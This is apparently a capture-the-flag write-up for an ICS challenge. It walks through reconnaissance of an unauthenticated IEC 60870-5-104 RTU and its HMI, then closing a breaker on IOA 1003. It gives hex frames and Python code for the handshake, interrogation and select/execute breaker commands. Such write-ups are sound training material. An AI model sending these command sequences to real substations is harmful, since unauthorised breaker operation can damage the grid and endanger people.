Category: ICS/SCADA · IEC 60870-5-104 Difficulty: Hard Result: ✅ Solved — audit ticket recovered
1. Challenge Overview
"Aurora Junction substation speaks IEC 60870-5-104 on TCP/2404 — no auth. A no-load audit test breaker on IOA 1003 is wired to a diagnostic dump; close it and the RTU emits an M_BO_NA_1 ASDU whose bytes decode to the audit ticket."
Targets
| Role | Address (initial) | Address (after restart) |
|---|---|---|
| IEC-104 RTU | 154.57.164.66:44055 |
154.57.164.66:36176 |
| Flask HMI | 154.57.164.66:39784 |
154.57.164.66:31323 |
The scenario was distributed as a password-protected GridTalk.zip; extracting its NOTE.md confirmed the two hosts and the objective.
2. Reconnaissance
2.1 Service identification
36176 → raw TCP, no HTTP banner (curl: "Empty reply from server") → IEC-104 RTU
31323 → HTTP/1.1 200, Server: Werkzeug/3.1.8 Python/3.11.15 → Flask HMI
2.2 HMI enumeration
GET /api/state (the only endpoint in the HMI's JS) returned:
{
"breakers": {
"1001": {"name": "BAY-1 IN-FEED", "state": true},
"1002": {"name": "BAY-2 OUT-FEED", "state": true},
"1003": {"name": "AUDIT-TEST-1", "state": false}, ← target, OPEN
"1004": {"name": "BAY-3 TX-COUPLER", "state": true},
"1005": {"name": "BAY-4 BUSTIE", "state": true}
},
"connected": true
}
This leaked the common address = 2000 and the target breaker IOA = 1003.
2.3 Tooling gap
No sshpass, pexpect, scapy IEC-104 layer, or any iec104 Python module was available — the entire IEC 60870-5-104 protocol had to be implemented over a raw TCP socket (APCI framing + ASDU encoding) in Python.
3. Protocol Analysis (IEC 60870-5-104)
3.1 Frame format (APCI)
0x68 | LEN | 4-byte control field | ASDU ...
- U-frames (control): STARTDT_ACT =
0x07, STARTDT_CON =0x0b - I-frames: carry
N(S)(send seq) andN(R)(receive seq): N(S) = (ctrl[0]>>1) | (ctrl[1]<<7)N(R) = (ctrl[2]>>1) | (ctrl[3]<<7)
3.2 ASDU types used
| Type ID | Name | Purpose |
|---|---|---|
1 |
M_SP_NA_1 |
single-point (breaker state) telemetry |
7 |
M_BO_NA_1 |
32-bit bitstring — the diagnostic |
11 |
M_ME_NB_1 |
scaled measured values |
45 |
C_SC_NA_1 |
single command (close/open breaker) |
100 |
C_IC_NA_1 |
general interrogation |
3.3 Cause-of-transmission (COT)
| COT | Meaning |
|---|---|
3 |
spontaneous (unsolicited) |
6 |
activation (our request) |
7 |
activation confirmation |
10 |
activation termination |
20 |
interrogation response |
3.4 Command value (SCS) for C_SC_NA_1
| bit | meaning |
|---|---|
| bit 7 (0x80) | SE — select (1) vs execute (0) |
| bit 0 (0x01) | ON/close (1) vs OFF/open (0) |
So: SELECT close = 0x81, EXECUTE close = 0x01.
4. Exploitation
4.1 The full wire sequence (verified on fresh instance)
1. STARTDT_ACT 68 04 07 00 00 00
← STARTDT_CON 68 04 0b 00 00 00
2. Interrogation C_IC_NA_1 (QOI=20) → enumerate telemetry
← M_SP_NA_1 breakers 1001–1005 (1003 = 0 / OPEN)
← M_ME_NB_1 measurements 2001–2004
← C_IC_NA_1 cot=10 (termination)
3. SELECT close C_SC_NA_1 ASDU = 2d 01 06 00 d0 07 eb 03 00 81
← cot=7 (SCS=0x81)
← cot=10 (select terminated)
4. EXECUTE close C_SC_NA_1 ASDU = 2d 01 06 00 d0 07 eb 03 00 01
← cot=7 (SCS=0x01)
← M_SP_NA_1 cot=3 ioa=1003 state=1 ← breaker CLOSED
← cot=10 (execute terminated)
← M_BO_NA_1 cot=3 ← ★ THE DIAGNOSTIC ★
4.2 The diagnostic frame (decoded)
68 35 start + LEN=0x35 (53)
12 00 06 00 control: N(S)=9, N(R)=3
07 type = 7 (M_BO_NA_1)
88 VSQ: SQ=1 (sequential), n=8
03 00 COT = 3 (spontaneous)
d0 07 CA = 2000
89 13 00 IOA = 5001
[REDACTED]
^^^ 40-byte bitstring payload (with NUL padding)
4.3 Decode the ticket
The 40-byte payload is the flag with a 0x00 NUL interleaved every 5th byte:
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
Strip the NULs:
[REDACTED]
5. Flag
[REDACTED]
("breaker flipped via IEC 104" — a perfect summary of the attack.)
6. Step-by-Step Walkthrough
Step 1 — Identify the services
curl -sS -m 8 -o /dev/null -w "%{http_code} %header{server}\n" http://154.57.164.66:36176/
# → 000 (raw TCP = IEC-104 RTU)
curl -sS -m 8 -o /dev/null -w "%{http_code} %header{server}\n" http://154.57.164.66:31323/
# → 200 Werkzeug/3.1.8 Python/3.11.15 (Flask HMI)
Step 2 — Read the HMI state
curl -sS http://154.57.164.66:31323/api/state
# → breakers 1001-1005; AUDIT-TEST-1 (1003) = false (OPEN)
Step 3 — Implement IEC-104 client (Python)
Core primitives (full script in iec104_final.py):
def ifr(ns, nr, asdu):
ctrl = bytes([(ns<<1)&0xFE, (ns>>7)&0xFF, (nr<<1)&0xFE, (nr>>7)&0xFF])
return bytes([0x68, 4+len(asdu)]) + ctrl + asdu
def csc(scs): # C_SC_NA_1
return bytes([0x2D, 1, 6, 0, CA&0xFF, (CA>>8)&0xFF,
IOA&0xFF, (IOA>>8)&0xFF, (IOA>>16)&0xFF, scs])
def cic(qoi=20): # C_IC_NA_1
return bytes([0x64, 1, 6, 0, CA&0xFF, (CA>>8)&0xFF, qoi])
Step 4 — Handshake, interrogate, close the breaker
# STARTDT
sock.sendall(b"\x68\x04\x07\x00\x00\x00")
# enumerate (optional, confirms breaker state)
sock.sendall(ifr(ns, nr, cic(20)))
# SELECT close → wait for cot=7
sock.sendall(ifr(ns, nr, csc(0x81)))
# EXECUTE close → wait for the M_BO_NA_1 diagnostic
sock.sendall(ifr(ns, nr, csc(0x01)))
Step 5 — Parse & decode the diagnostic
For every M_BO_NA_1 (type 7) frame, read the ASDU info field (IOA + 4-byte bitstring chunks), concatenate all chunks, strip 0x00, and print.
7. Key Techniques & Pitfalls
| # | Technique / Pitfall | Impact |
|---|---|---|
| 1 | N(R) receive-sequence tracking — you MUST echo the peer's N(S)+1 in every frame you send. A stale N(R) makes the RTU silently ignore your command. |
Cost 3 iterations (v3→v6) |
| 2 | M_BO_NA_1 sequential (SQ=1) addressing — only the first object carries an IOA; the rest are bare 4-byte bitstrings. |
Would mis-decode the ticket |
| 3 | One-time canary diagnostic — the ticket is emitted exactly once per instance, on the first breaker close. No reset endpoint, no reset-process command, no interrogation group recovers it. | Required a full instance restart |
| 4 | Buffered reader truncation — sock.recv(n) can return fewer than n bytes; a naive reader truncated the 55-byte diagnostic frame. |
Missed the flag on attempt #1 |
| 5 | VSQ n vs actual byte count — the VSQ declared n=8 but the frame carried 10 chunks; trust the frame length field, not n. |
Avoided truncating the ticket |
8. Artifacts
| File | Purpose |
|---|---|
iec104_final.py |
Final working IEC-104 client (handshake → interrogate → close → decode) |
NOTE.md |
Extracted scenario note (objective + hosts) |
hmi.html |
HMI index (revealed /api/state) |
9. Flag (final)
[REDACTED]
← all writeups